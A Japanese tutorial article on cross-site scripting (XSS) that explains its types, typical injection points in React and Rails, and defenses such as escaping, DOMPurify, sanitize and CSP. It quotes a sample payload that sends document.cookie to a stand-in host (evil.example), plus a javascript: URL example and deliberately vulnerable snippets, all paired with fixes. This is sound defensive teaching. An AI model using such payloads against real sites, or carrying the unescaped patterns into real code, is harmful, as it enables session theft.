XSS(クロスサイトスクリプティング)とは?起きるパターンと対策法

XSS(クロスサイトスクリプティング)とは?起きるパターンと対策法

#セキュリティ#Web開発#脆弱性対策

XSSはWebアプリケーションで最も報告数の多い脆弱性のひとつです。 対策の成否は、フレームワークの標準機能を正しく使えているかどうかでほぼ決まります。

XSSとは

クロスサイトスクリプティング(XSS):攻撃者が仕込んだスクリプトを、そのサイトを閲覧した利用者のブラウザ上で実行させる脆弱性です。 アプリケーションがユーザー入力をエスケープせずにHTMLへ出力することで発生します。

実行されたスクリプトは、正規サイトの権限で動きます。 そのため、セッションCookieの窃取によるなりすまし、偽の入力フォームによるパスワードやカード情報の詐取、ページの改ざん、不正サイトへの誘導といった被害につながります。

発生箇所によって3つに分類されます。

  • 反射型XSS:リクエストに含めたスクリプトが、検索結果画面などのレスポンスにそのまま出力されるもの。攻撃用URLを踏ませることで成立します
  • 格納型XSS:投稿やプロフィールなどとしてサーバに保存され、そのページを開いた閲覧者全員に発動するもの。URLを踏ませる必要がなく、影響が最も大きい型です
  • DOM型XSS:サーバを経由せず、クライアント側のJavaScriptがURLの一部などを不用意にDOMへ書き込むことで発生するもの

XSSが起きるパターン

典型的な混入箇所は次のとおりです。

  • テンプレートエンジンの自動エスケープを迂回する出力(Railsのrawhtml_safe、Jinja2の| safe、ERBの<%== %>など)
  • innerHTMLdocument.writeへの代入、ReactのdangerouslySetInnerHTML、Vueのv-html
  • href属性へのjavascript:スキーム混入など、属性値やURLの文脈への挿入
  • リッチテキストエディタやMarkdownレンダリングの出力を、サニタイズせずに表示
  • ユーザー由来のデータを<script>タグ内のJavaScriptへ直接埋め込み
  • URLパラメータやフラグメントを、クライアント側のコードでそのままDOMに反映

共通するのは「エスケープされない出力経路がひとつでもあれば成立する」という点です。 入り口の検証をすり抜けた値がどこか1箇所で生のままHTMLに出れば、そこが穴になります。

対策法

原則は「出力時に、出力先の文脈に応じてエスケープする」ことです。

  • フレームワークの自動エスケープに乗る。raw系やdangerouslySetInnerHTMLなどの迂回APIは使用箇所を洗い出し、レビューで管理する
  • HTML本文、属性値、URL、JavaScriptという文脈ごとに適切なエスケープを行う。属性値は必ず引用符で囲む
  • ユーザーにHTML入力を許可する場合は、DOMPurifyなどの実績あるサニタイズライブラリを通す。正規表現による自作の除去処理は避ける
  • Content Security Policy(CSP)を設定し、インラインスクリプトと未許可の外部スクリプトの実行を制限する
  • CookieにHttpOnly属性を付け、スクリプトから読めないようにする(発生時の被害軽減策)

入力値検証は補助的な防御であり、本命は出力時のエスケープです。 「どの画面のどの出力か」を問わず一律に効く仕組み(自動エスケープ、CSP)を先に整えることが、費用対効果の高い順序になります。

React(TypeScript)での事例

React の JSX は、埋め込んだ値を既定で HTML エスケープします。 {body} のように波括弧で出力するかぎり、値に <script> が含まれていてもタグとしては解釈されません。 XSS が入り込むのは、この自動エスケープを迂回したときだけです。

代表的な迂回が dangerouslySetInnerHTML です。 ユーザー投稿をそのまま渡すと、投稿本文に含まれる任意の HTML が DOM に書き込まれます。

// 危険:投稿本文をそのまま HTML として挿入している
function Comment({ body }: { body: string }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

body<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)"> のような文字列であれば、そのコメントを開いた閲覧者のブラウザでスクリプトが動きます。

HTML を持たせる必要がないなら、素直に波括弧で出力して React のエスケープに任せます。

function Comment({ body }: { body: string }) {
  return <div>{body}</div>;
}

装飾つきの HTML を許可したい場合は、DOMPurify などのサニタイズを通してから渡します(import DOMPurify from "dompurify" はブラウザの DOM を前提とするため、サーバサイドレンダリングでも実行する場合は、内部で jsdom を抱える isomorphic-dompurify を使うと同じ API でサーバ・クライアント双方に対応できます)。

import DOMPurify from "dompurify";

function Comment({ body }: { body: string }) {
  const clean = DOMPurify.sanitize(body);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

属性値も文脈のひとつです。 href にユーザー由来の文字列を入れると、javascript: スキームの混入で反射型や格納型の XSS が成立します。

// 危険:user.website が "javascript:alert(document.cookie)" だと発火する
<a href={user.website}>サイト</a>

なお React はこの javascript: URL を遮断しません。 開発ビルドでは「将来のバージョンで javascript: URL をブロックする」というコンソール警告を出しますが、実行そのものは止めず、本番ビルドでは警告も出ないまま実行されます。 「React が自動でエスケープするから属性値も安全」とは言えないので、URL は自分で検証します。

スキームを httphttps(必要なら mailto)に限定してから出力します。

function safeUrl(raw: string): string {
  try {
    const u = new URL(raw);
    return ["http:", "https:", "mailto:"].includes(u.protocol) ? u.href : "#";
  } catch {
    return "#";
  }
}

// <a href={safeUrl(user.website)}>サイト</a>

Rails(ERB)での事例

ERB も <%= %> で出力した値を既定でエスケープします。 XSS が生まれるのは、このエスケープを明示的に外したときです。

外し方は主に三つで、rawhtml_safe、そして生出力の <%== %> です。

<%# いずれもエスケープを外し、本文中の HTML をそのまま出力する %>
<%= raw @comment.body %>
<%= @comment.body.html_safe %>
<%== @comment.body %>

@comment.body にスクリプトを含む投稿が保存されていれば、その値は格納型 XSS として全閲覧者に発動します。

とくに紛らわしいのが html_safe です。 これは文字列を安全にする(サニタイズする)メソッドではなく、「この文字列はもう安全だから出力時にエスケープしなくてよい」と Rails に宣言するだけのメソッドで、中身は一切検査しません。 名前は「safe にする」ではなく「safe だと保証する」と読むのが正確で、その保証の中身はプログラマの責任側にあります。 だから信頼できない値に付けた瞬間、それがそのまま穴になります(raw も内部的にはほぼ html_safe と同じで、同じ罠を持ちます)。 実際に危険なタグを除去して安全な文字列を返すのは、次に挙げる sanitize の側です。

HTML として解釈させる必要がないなら、<%= %> のまま出力します。

<%= @comment.body %>

一部のタグだけ許可したい場合は、raw ではなく sanitize ヘルパーで許可リストを指定します。

<%= sanitize @comment.body, tags: %w[p br strong em a], attributes: %w[href] %>

リンクの URL をユーザーに持たせるときは、link_to に渡す前にスキームを検証します。

def safe_url(raw)
  uri = URI.parse(raw)
  %w[http https mailto].include?(uri.scheme) ? raw : "#"
rescue URI::InvalidURIError
  "#"
end
<%= link_to "サイト", safe_url(@user.website) %>
この記事をシェア